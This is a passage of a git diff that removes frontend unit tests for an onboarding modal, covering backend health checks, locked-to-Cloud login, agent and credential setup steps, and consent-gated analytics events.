    - ), - }), -); - -vi.mock("#/hooks/use-is-creating-conversation", () => ({ - useIsCreatingConversation: () => false, -})); - -vi.mock("#/hooks/mutation/use-create-conversation", () => ({ - useCreateConversation: () => ({ - mutate: vi.fn(), - isPending: false, - isSuccess: false, - }), -})); - -// The ACP credentials slide runs a login-detection probe (calls -// GET /api/acp/auth-status). Stub it here so the modal routing tests don't hit -// the network; the probe itself is covered in use-acp-auth-status.test.tsx. -vi.mock("#/hooks/query/use-acp-auth-status", () => ({ - useAcpAuthStatus: () => ({ - status: "unknown", - isChecking: false, - isSupported: false, - }), -})); - -async function waitForConfiguredBackendToBeSkipped() { - await waitFor( - () => { - expect(screen.queryByTestId("onboarding-step-check-backend")).toBeNull(); - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "0", - ); - expect( - within(screen.getByTestId("onboarding-slide-0")).getByTestId( - "onboarding-step-choose-agent", - ), - ).toBeInTheDocument(); - }, - { timeout: 3000 }, - ); -} - -async function completeAgentStep(user: ReturnType) { - await user.click(screen.getByTestId("onboarding-agent-next")); - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "1", - ), - { timeout: 3000 }, - ); -} - -function seedCloudBackend() { - const backend = { - id: "cloud-backend", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-session-key", - kind: "cloud" as const, - }; - setRegisteredBackends([backend]); - setActiveSelection({ backendId: backend.id, orgId: null }); - return backend; -} - -function renderModal(onClose = vi.fn()) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const navigationValue = { - currentPath: "/", - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - }; - return render( - - - - - - - , - ); -} - -beforeEach(() => { - captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined); - window.localStorage.clear(); - window.sessionStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000"); - vi.stubEnv("VITE_SESSION_API_KEY", "session-key"); - __resetActiveStoreForTests(); - // Clear accumulated spy/mock call history so per-test assertions (the - // ACP secret-write checks and the LLM-defaults mock) don't see calls - // leaked from a prior test. Covers `llmSettingsScreenMock` too. - vi.clearAllMocks(); - getServerInfoMock.mockReset(); - getServerInfoMock.mockImplementation((options?: { host?: string }) => { - if (options?.host?.startsWith("https://127.0.0.1:8000")) { - return Promise.reject(new Error("Failed to fetch")); - } - return Promise.resolve({ version: "1.28.0" }); - }); - // ChooseAgentStep's Next button now persists the selection via - // saveSettings before advancing. Stub it so the rest of the flow - // (which these tests focus on) isn't gated on a real HTTP call. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: {}, - }, - }); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - // The ACP secrets step lists existing secrets to flag "already saved" - // fields. Stub the fetch so it doesn't reach a real client (none is - // wired up in this test) and the field placeholders stay in the - // not-yet-saved state. - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]); - vi.spyOn(SecretsService, "createSecret").mockResolvedValue(); -}); -afterEach(() => { - captureMock.mockRestore(); - window.localStorage.clear(); - window.sessionStorage.clear(); - vi.unstubAllEnvs(); - __resetActiveStoreForTests(); -}); - -describe("OnboardingModal", () => { - it("starts no-backend first-run users on the backend step with each slide offset by its index", () => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "0", - ); - expect( - screen.getByTestId("onboarding-step-check-backend"), - ).toBeInTheDocument(); - - expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute( - "data-active", - "true", - ); - - // Progress bar reflects step 1 of 4. - expect(screen.getByTestId("onboarding-progress-step-0")).toHaveAttribute( - "data-state", - "current", - ); - expect(screen.getByTestId("onboarding-progress-step-1")).toHaveAttribute( - "data-state", - "upcoming", - ); - }); - - it("skips backend setup when the configured backend is already healthy", async () => { - renderModal(); - - await waitForConfiguredBackendToBeSkipped(); - expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute( - "aria-valuemax", - "3", - ); - expect(screen.getByTestId("onboarding-progress-step-2")).toHaveAttribute( - "data-state", - "upcoming", - ); - expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull(); - expect(screen.queryByTestId("onboarding-agent-back")).toBeNull(); - expect(getServerInfoMock).toHaveBeenCalled(); - }); - - it("starts first-run no-backend onboarding as Add a backend without an error banner", () => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - - expect(screen.getByText("BACKEND$ADD_TITLE")).toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-subtitle"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-disconnected"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-checking"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible(); - expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible(); - }); - - it("locks no-backend onboarding to Cloud login when VITE_LOCK_TO_CLOUD is set", () => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com"); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - - expect( - screen.getByText("ONBOARDING$LOGIN_TO_CLOUD_TITLE"), - ).toBeInTheDocument(); - expect(screen.queryByText("BACKEND$ADD_TITLE")).not.toBeInTheDocument(); - expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible(); - expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible(); - expect( - screen.queryByTestId("onboarding-backend-host"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-api-key"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-advanced-toggle"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("onboarding-backend-cloud-host"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("onboarding-skip")).not.toBeInTheDocument(); - }); - - it("dismisses the onboarding modal immediately after Cloud login in locked-to-Cloud mode without showing the next step", async () => { - // Regression for hieptl's flicker report on PR #1389: after logging - // into OpenHands Cloud in locked-to-Cloud mode, the onboarding modal - // used to advance to the Choose Agent slide (the "next window"), - // then get torn down by the root first-run gate, then briefly - // remounted by OnboardingHost — producing a visible flicker. Cloud - // login IS the onboarding completion in locked mode, so the modal - // must call `onClose` (dismiss) immediately instead of advancing, - // so the next slide never shows. - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - const onClose = vi.fn(); - renderModal(onClose); - const user = userEvent.setup(); - - await user.click(screen.getByTestId("onboarding-backend-login-button")); - - // Cloud login must dismiss the modal (not advance to Choose Agent). - expect(onClose).toHaveBeenCalledTimes(1); - // The stale-org reset still runs when replacing a mismatched host; - // here there was no prior backend, so nothing to assert beyond - // dismissal. The key contract: no slide advancement happened via - // the Cloud login path. The backend step is what was visible at - // click time, and the modal is now dismissing. - }); - - it("keeps the backend step visible for a reachable stale Local backend in locked-to-Cloud mode", async () => { - // Regression for PR #1389 review: in locked-to-Cloud mode a reachable - // stale Local backend (one persisted from a previous non-locked - // session) must NOT skip `CheckBackendStep`. The user has to stay on - // the backend slide so they can log into the locked Cloud host and - // replace the stale backend, rather than continuing as Local. - window.localStorage.clear(); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const staleLocal = { - id: "stale-local", - name: "Local", - host: "http://127.0.0.1:8000", - apiKey: "stale-key", - kind: "local" as const, - }; - setRegisteredBackends([staleLocal]); - setActiveSelection({ backendId: staleLocal.id, orgId: null }); - __resetActiveStoreForTests(); - - renderModal(); - - // The health probe succeeds for the stale Local backend, but the - // backend slide must remain the active step (not skipped to agent - // selection) because the backend is not the locked Cloud host. - await waitFor(() => { - expect( - screen.getByTestId("onboarding-step-check-backend"), - ).toBeInTheDocument(); - }); - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "0", - ); - expect(screen.getByTestId("onboarding-progress-step-0")).toHaveAttribute( - "data-state", - "current", - ); - // Progress bar keeps all 4 steps (backend slide still in the flow). - expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute( - "aria-valuemax", - "4", - ); - // The locked Cloud login UI must be presented for replacement, and - // the connected-backend "Next" shortcut (which would let the user - // advance with the stale Local backend still active) must NOT be - // offered. Keeping the slide mounted is not enough on its own. - expect( - screen.getByText("ONBOARDING$LOGIN_TO_CLOUD_TITLE"), - ).toBeInTheDocument(); - expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible(); - expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible(); - expect( - screen.queryByTestId("onboarding-backend-show-configuration"), - ).toBeNull(); - expect(screen.queryByTestId("onboarding-backend-next")).toBeNull(); - // The misleading "Connected" banner for the stale backend should - // not render either; the user is being told to log into Cloud. - expect(screen.queryByTestId("onboarding-backend-subtitle")).toBeNull(); - }); - - it("keeps the backend step visible for a reachable Cloud backend on a different host in locked-to-Cloud mode", async () => { - // A Cloud backend pointing at a host other than the locked Cloud host - // must also keep `CheckBackendStep` visible — `kind === "cloud"` alone - // is not enough; the host must match the locked host (normalized). - window.localStorage.clear(); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const otherCloud = { - id: "other-cloud", - name: "Other Cloud", - host: "https://other-cloud.example.com", - apiKey: "other-token", - kind: "cloud" as const, - }; - setRegisteredBackends([otherCloud]); - setActiveSelection({ backendId: otherCloud.id, orgId: null }); - __resetActiveStoreForTests(); - - renderModal(); - - await waitFor(() => { - expect( - screen.getByTestId("onboarding-step-check-backend"), - ).toBeInTheDocument(); - }); - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "0", - ); - expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute( - "aria-valuemax", - "4", - ); - }); - - it("clears the stale active org_id when Cloud login replaces a mismatched Cloud backend", async () => { - // Regression for PR #1389 review: replacing a mismatched Cloud - // backend updates the backend row's host/apiKey, but the persisted - // active org_id is keyed to the OLD host's org list. Leaving it in - // place causes subsequent Cloud API calls to send an invalid - // X-Org-Id to the locked Cloud host. After Cloud login completes, - // active.orgId must be reset to null. - window.localStorage.clear(); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const otherCloud = { - id: "other-cloud", - name: "Other Cloud", - host: "https://other-cloud.example.com", - apiKey: "other-token", - kind: "cloud" as const, - }; - setRegisteredBackends([otherCloud]); - setActiveSelection({ - backendId: otherCloud.id, - orgId: "stale-org-from-other-host", - }); - __resetActiveStoreForTests(); - expect(getActiveSelection()?.orgId).toBe("stale-org-from-other-host"); - - renderModal(); - const user = userEvent.setup(); - - await waitFor(() => { - expect( - screen.getByTestId("onboarding-backend-login-button"), - ).toBeInTheDocument(); - }); - - await user.click(screen.getByTestId("onboarding-backend-login-button")); - - await waitFor(() => { - expect(getActiveSelection()?.orgId).toBeNull(); - }); - // The backend row was updated rather than added: still a single - // entry, but now pointed at the locked Cloud host. - expect(getActiveSelection()?.backendId).toBe(otherCloud.id); - }); - - it("skips the backend step in locked-to-Cloud mode when the active backend IS the locked Cloud host", async () => { - // Positive control: when the active backend is the locked Cloud host - // (and healthy), the backend slide is skipped exactly as before. - window.localStorage.clear(); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const lockedCloud = { - id: "locked-cloud", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev/", - apiKey: "cloud-token", - kind: "cloud" as const, - }; - setRegisteredBackends([lockedCloud]); - setActiveSelection({ backendId: lockedCloud.id, orgId: null }); - __resetActiveStoreForTests(); - - renderModal(); - - // Trailing slash on the stored host must normalize-match the locked - // host, so the backend slide is skipped. - await waitForConfiguredBackendToBeSkipped(); - expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute( - "aria-valuemax", - "3", - ); - }); - - it("keeps users on Choose Agent after Cloud login in standard (non-locked) mode", async () => { - // Regression for #1389 review feedback: in standard mode (no - // VITE_LOCK_TO_CLOUD), the onboarding backend slide shows both the - // manual column and the Cloud column. Completing Cloud login from - // there used to land the user on the Set Up LLM slide because the - // slide-rail renumbered when `skipBackendStep` flipped before the - // post-flip step-decrement effect ran. Phase-based state must keep - // them on Choose Agent regardless of the renumber. - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - const user = userEvent.setup(); - - // Both columns should be visible in standard mode. - expect(screen.getByTestId("onboarding-backend-host")).toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-backend-login-button"), - ).toBeInTheDocument(); - - await user.click(screen.getByTestId("onboarding-backend-login-button")); - - await waitFor(() => { - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "0", - ); - expect( - within(screen.getByTestId("onboarding-slide-0")).getByTestId( - "onboarding-step-choose-agent", - ), - ).toBeInTheDocument(); - }); - expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute( - "data-active", - "true", - ); - // The Set Up LLM slide is always mounted (transform-translated off-screen), - // but it must not be the active slide after Cloud login completes. - expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute( - "data-active", - "false", - ); - }); - - it("does not render an 'Or' divider between manual and Cloud columns", () => { - // Regression for #1389 review feedback: the "Or" label between - // BackendConnectionOptions' manual and Cloud columns is visually - // redundant given the columns are already clearly separated and - // both have prominent titles. It must not render. - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - vi.stubEnv("VITE_LOCK_TO_CLOUD", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - - expect(screen.queryByText("BACKEND$LOGIN_OR")).toBeNull(); - }); - - it("shows a connection error when saving an unreachable backend", async () => { - window.localStorage.clear(); - vi.stubEnv("VITE_BACKEND_BASE_URL", ""); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderModal(); - const user = userEvent.setup(); - - await user.clear(screen.getByTestId("onboarding-backend-host")); - await user.type( - screen.getByTestId("onboarding-backend-host"), - "https://127.0.0.1:8000", - ); - await user.clear(screen.getByTestId("onboarding-backend-api-key")); - await user.type( - screen.getByTestId("onboarding-backend-api-key"), - "session-key", - ); - await user.click(screen.getByTestId("onboarding-backend-next")); - - expect( - await screen.findByTestId("onboarding-backend-error"), - ).toHaveTextContent("BACKEND$CONNECTION_TEST_FAILED"); - expect(screen.getByTestId("onboarding-backend-error")).toHaveTextContent( - "Disconnected", - ); - }); - - it("pre-fills the LLM step with OpenAI GPT-5.5", () => { - renderModal(); - - expect(llmSettingsScreenMock).toHaveBeenCalledTimes(1); - expect(llmSettingsScreenMock).toHaveBeenCalledWith( - expect.objectContaining({ - initialValueOverrides: { - "llm.model": ONBOARDING_DEFAULT_LLM_MODEL, - }, - }), - ); - }); - - it("does not show backend configuration when the configured backend is healthy", async () => { - renderModal(); - - await waitForConfiguredBackendToBeSkipped(); - expect(screen.queryByTestId("onboarding-backend-connected")).toBeNull(); - expect( - screen.queryByTestId("onboarding-backend-configuration-fields"), - ).toBeNull(); - }); - - it("advances each step via the per-step Next button and reframes slide offsets", async () => { - renderModal(); - const user = userEvent.setup(); - - // Healthy configured backends are skipped, so agent selection is step 0. - await waitForConfiguredBackendToBeSkipped(); - expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute( - "data-active", - "true", - ); - - // Step 0 → 1. ChooseAgentStep does an async save before advancing. - await completeAgentStep(user); - expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute( - "data-active", - "true", - ); - - // Step 1 → 2 - await user.click(screen.getByTestId("onboarding-llm-next")); - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "2", - ); - expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute( - "data-active", - "true", - ); - }); - - it("Skip immediately closes the modal", async () => { - const onClose = vi.fn(); - renderModal(onClose); - - const user = userEvent.setup(); - await user.click(screen.getByTestId("onboarding-skip")); - - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("stays open when the user clicks outside it or presses Escape", async () => { - // Arrange - const onClose = vi.fn(); - renderModal(onClose); - const user = userEvent.setup(); - - // Act: errant interactions outside the modal box — click the dark - // backdrop overlay, then press Escape. - const backdrop = screen.getByRole("dialog") - .firstElementChild as HTMLElement; - await user.click(backdrop); - await user.keyboard("{Escape}"); - - // Assert: neither dismisses the flow nor marks onboarding completed - // (https://github.com/OpenHands/agent-canvas/issues/1085); the modal - // only closes via explicit actions (Skip / launch). - expect(onClose).not.toHaveBeenCalled(); - expect(screen.getByTestId("onboarding-modal")).toBeInTheDocument(); - }); - - it("wraps the slide rail in a dedicated scroll region so the modal chrome stays put", () => { - // Arrange + act: render the modal once. - renderModal(); - - // Assert: the slide rail lives inside the scroll region. Long step - // content overflows this region rather than the modal itself, so - // the progress bar above it never scrolls away. Skip sits below the modal. - const scrollArea = screen.getByTestId("onboarding-scroll-area"); - const rail = screen.getByTestId("onboarding-slide-rail"); - expect(scrollArea.contains(rail)).toBe(true); - }); - - it("keeps the LLM step heading and Back/Next outside the scrollable settings body", async () => { - // Arrange: render the modal and walk through to the LLM step. - renderModal(); - const user = userEvent.setup(); - await waitForConfiguredBackendToBeSkipped(); - await completeAgentStep(user); - // Wait for the LLM slide to become the active one before querying - // by role — otherwise the heading is `aria-hidden` from inside a - // not-yet-active slide and getByRole filters it out. - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "1", - ), - { timeout: 3000 }, - ); - - // Act: locate the step's scrollable settings wrapper and the chrome - // around it that the user expects to remain visible. - const step = screen.getByTestId("onboarding-step-setup-llm"); - const settings = within(step).getByTestId("onboarding-llm-settings"); - const heading = within(step).getByRole("heading", { level: 2 }); - const back = within(step).getByTestId("onboarding-llm-back"); - const next = within(step).getByTestId("onboarding-llm-next"); - - // Assert: heading and footer buttons are siblings of the settings - // body, not descendants. Anything moved inside the settings wrapper - - // would scroll out of view on the All tab — this is the invariant - // the fix relies on. - expect(settings.contains(heading)).toBe(false); - expect(settings.contains(back)).toBe(false); - expect(settings.contains(next)).toBe(false); - }); - - it("hides the Say Hello OR separator when recommended automations are unavailable on Cloud", () => { - seedCloudBackend(); - - renderModal(); - - expect(screen.queryByTestId("onboarding-hello-or-separator")).toBeNull(); - expect( - screen.queryByTestId("onboarding-recommended-automations"), - ).toBeNull(); - }); - - it("shows the setup slide with Gemini's credential fields", async () => { - renderModal(); - const user = userEvent.setup(); - - // Pick Gemini CLI: its key/base-URL come from the SDK registry like the - // other providers, so the slide shows the GEMINI_API_KEY field. - await waitForConfiguredBackendToBeSkipped(); - await user.click(screen.getByTestId("onboarding-agent-option-gemini-cli")); - await completeAgentStep(user); - - // Lands on the setup slide (the ACP step) — not jumped past to Say Hello. - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "1", - ), - { timeout: 3000 }, - ); - expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute( - "data-active", - "true", - ); - expect( - screen.getByTestId("onboarding-step-setup-acp-secrets"), - ).toBeInTheDocument(); - // Gemini exposes credential fields (GEMINI_API_KEY), derived from the SDK - // registry like Claude Code / Codex. - expect( - screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"), - ).toBeInTheDocument(); - - // The flow skips backend setup and keeps three progress segments. - expect( - screen.getByTestId("onboarding-progress-step-2"), - ).toBeInTheDocument(); - expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull(); - expect(screen.getByTestId("onboarding-progress-step-1")).toHaveAttribute( - "data-state", - "current", - ); - }); - - it("shows the ACP credentials step for Claude Code and saves entered keys as secrets", async () => { - renderModal(); - const user = userEvent.setup(); - - // Pick Claude Code after configuring the backend. - await waitForConfiguredBackendToBeSkipped(); - await user.click(screen.getByTestId("onboarding-agent-option-claude-code")); - await completeAgentStep(user); - - // The setup slide is the ACP credentials step — not Say Hello — after - // skipping the already healthy backend. - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "1", - ), - { timeout: 3000 }, - ); - expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute( - "data-active", - "true", - ); - expect( - screen.getByTestId("onboarding-step-setup-acp-secrets"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-progress-step-2"), - ).toBeInTheDocument(); - expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull(); - - // Both Anthropic credentials are offered; the optional base URL too. - const apiKeyField = screen.getByTestId( - "onboarding-acp-secret-ANTHROPIC_API_KEY", - ); - expect(apiKeyField).toBeInTheDocument(); - expect( - screen.getByTestId("onboarding-acp-secret-ANTHROPIC_BASE_URL"), - ).toBeInTheDocument(); - - // Fill the API key and advance: the value is upserted as a global - // secret of the same name, then the flow moves on to Say Hello. - await user.type(apiKeyField, "sk-ant-test"); - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - - await waitFor(() => { - expect(SecretsService.createSecret).toHaveBeenCalledWith( - "ANTHROPIC_API_KEY", - "sk-ant-test", - undefined, - ); - }); - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "2", - ), - { timeout: 3000 }, - ); - }); - - it("skips the secret write when the ACP credentials step is left blank", async () => { - renderModal(); - const user = userEvent.setup(); - - await waitForConfiguredBackendToBeSkipped(); - await user.click(screen.getByTestId("onboarding-agent-option-codex")); - await completeAgentStep(user); - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "1", - ), - { timeout: 3000 }, - ); - - // Leaving every field empty is a deliberate skip — no secret is - // written, and the user still advances to Say Hello. - await user.click(screen.getByTestId("onboarding-acp-secrets-next")); - await waitFor( - () => - expect(screen.getByTestId("onboarding-modal")).toHaveAttribute( - "data-current-step", - "2", - ), - { timeout: 3000 }, - ); - expect(SecretsService.createSecret).not.toHaveBeenCalled(); - }); - - it("pre-fills the say-hello input with the default greeting on the final step", async () => { - renderModal(); - const user = userEvent.setup(); - - await waitForConfiguredBackendToBeSkipped(); - await completeAgentStep(user); - await user.click(screen.getByTestId("onboarding-llm-next")); - - const helloInput = screen.getByTestId( - "onboarding-hello-input", - ) as HTMLInputElement; - // Translation is mocked to return the key; the default-message - // hook still pre-fills with whatever t() returns, which here is - // the I18nKey itself. The contract under test is that the input - // is non-empty and matches the resolved default message. - expect(helloInput.value).toBe("ONBOARDING$HELLO_DEFAULT_MESSAGE"); - }); - - it("shows recommended automations below the Say Hello input", async () => { - const onClose = vi.fn(); - renderModal(onClose); - const user = userEvent.setup(); - - await waitForConfiguredBackendToBeSkipped(); - await completeAgentStep(user); - await waitFor(() => - expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute( - "data-active", - "true", - ), - ); - await user.click(screen.getByTestId("onboarding-llm-next")); - await waitFor(() => - expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute( - "data-active", - "true", - ), - ); - - const helloInput = screen.getByTestId("onboarding-hello-input"); - const recommendations = screen.getByTestId( - "onboarding-recommended-automations", - ); - expect( - helloInput.compareDocumentPosition(recommendations) & - Node.DOCUMENT_POSITION_FOLLOWING, - ).toBeTruthy(); - expect( - within(recommendations).getByTestId( - "recommended-automations-launcher-stub", - ), - ).toBeInTheDocument(); - - expect(recommendations.closest("form")).toBeNull(); - - await user.click( - within(recommendations).getByRole("button", { - name: "launch recommended automation", - }), - ); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - describe("analytics events", () => { - // Surface only the captures for a given event; a session emits several. - const eventCalls = (event: string) => - captureMock.mock.calls.filter(([name]) => name === event); - - beforeEach(() => { - // Grant analytics consent so events pass useTracking's consent gate; - // the outer beforeEach seeds settings with consent withheld. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - agent_settings: { ...DEFAULT_SETTINGS.agent_settings, llm: {} }, - user_consents_to_analytics: true, - }); - }); - - it("captures onboarding_started once per session even across a remount", async () => { - // Arrange + act: open onboarding and let the first mount settle (a Step - // Viewed capture confirms consent resolved and backend health settled). - const firstMount = renderModal(); - await waitFor(() => - expect( - eventCalls("onboarding_step_viewed").length, - ).toBeGreaterThanOrEqual(1), - ); - - // Act: tear the modal down and mount it again in the same session. The - // remounted modal re-emits Step Viewed from a fresh ref, so waiting for - // the second one proves the Started effect had its chance to re-fire. - firstMount.unmount(); - renderModal(); - await waitFor(() => - expect( - eventCalls("onboarding_step_viewed").length, - ).toBeGreaterThanOrEqual(2), - ); - - // Assert: the sessionStorage guard kept Started at a single capture. - expect(eventCalls("onboarding_started")).toHaveLength(1); - }); - - it("captures no onboarding events while analytics consent is not granted", async () => { - // Arrange: withhold consent. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue({ - ...DEFAULT_SETTINGS, - agent_settings: { ...DEFAULT_SETTINGS.agent_settings, llm: {} }, - user_consents_to_analytics: false, - }); - - // Act: open onboarding and let it settle on the first step. - renderModal(); - await waitForConfiguredBackendToBeSkipped(); - - // Assert: nothing reached PostHog. - expect(captureMock).not.toHaveBeenCalled(); - }); - - it("captures onboarding_step_viewed for each step as the user advances", async () => { - // Arrange: the healthy backend is skipped, so the user lands on the - // agent step (index 0 of the 3-step flow). - renderModal(); - const user = userEvent.setup(); - await waitForConfiguredBackendToBeSkipped(); - - // Assert: the entry step carries the full funnel identity. - await waitFor(() => - expect(captureMock).toHaveBeenCalledWith( - "onboarding_step_viewed", - expect.objectContaining({ - step: "agent", - step_index: 0, - total_steps: 3, - agent: "openhands", - }), - ), - ); - - // Act: advance to the next step. - await completeAgentStep(user); - - // Assert: the new step is captured too — tracking follows transitions, - // not just the initial mount. - await waitFor(() => - expect(captureMock).toHaveBeenCalledWith( - "onboarding_step_viewed", - expect.objectContaining({ - step: "setup", - step_index: 1, - total_steps: 3, - }), - ), - ); - }); - - it("captures onboarding_completed when a conversation is launched from the final step", async () => { - // Arrange: walk through to the final Say Hello step. - renderModal(); - const user = userEvent.setup(); - await waitForConfiguredBackendToBeSkipped(); - await completeAgentStep(user); - await user.click(screen.getByTestId("onboarding-llm-next")); - await waitFor(() => - expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute( - "data-active", - "true", - ), - ); - - // Act: launch from the final step. The stubbed recommended-automation - // launcher invokes the same onLaunched completion callback as Say Hello. - const recommendations = screen.getByTestId( - "onboarding-recommended-automations", - ); - await user.click( - within(recommendations).getByRole("button", { - name: "launch recommended automation", - }), - ); - - // Assert. - expect(captureMock).toHaveBeenCalledWith( - "onboarding_completed", - expect.objectContaining({ agent: "openhands" }), - ); - }); - - it("captures onboarding_skipped with the current step when the user skips", async () => { - // Arrange: healthy backend skipped → user is on the agent step (0 of 3). - renderModal(); - const user = userEvent.setup(); - await waitForConfiguredBackendToBeSkipped(); - - // Act: skip out of onboarding. - await user.click(screen.getByTestId("onboarding-skip")); - - // Assert. - expect(captureMock).toHaveBeenCalledWith( - "onboarding_skipped", - expect.objectContaining({ - step: "agent", - step_index: 0, - total_steps: 3, - agent: "openhands", - }), - ); - }); - }); -}); diff --git a/__tests__/components/onboarding/onboarding-preview.test.ts b/__tests__/components/onboarding/onboarding-preview.test.ts deleted file mode 100644 index 9401b5f27..000000000 --- a/__tests__/components/onboarding/onboarding-preview.test.ts +++ /dev/null @@ -1,27 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - ONBOARDING_PREVIEW_STEP_QUERY_PARAM, - isOnboardingPreviewActive, - readOnboardingPreviewStep, -} from "#/components/features/onboarding/onboarding-preview"; - -describe("onboarding-preview", () => { - it("reads a valid preview step from the query string", () => { - expect( - readOnboardingPreviewStep(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=3`), - ).toBe(3); - }); - - it("rejects out-of-range preview steps", () => { - expect( - readOnboardingPreviewStep(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=9`), - ).toBeNull(); - }); - - it("detects when preview mode is active", () => { - expect( - isOnboardingPreviewActive(`?${ONBOARDING_PREVIEW_STEP_QUERY_PARAM}=2`), - ).toBe(true); - expect(isOnboardingPreviewActive("?foo=bar")).toBe(false); - }); -}); diff --git a/__tests__/components/onboarding/onboarding-progress-bar.test.tsx b/__tests__/components/onboarding/onboarding-progress-bar.test.tsx deleted file mode 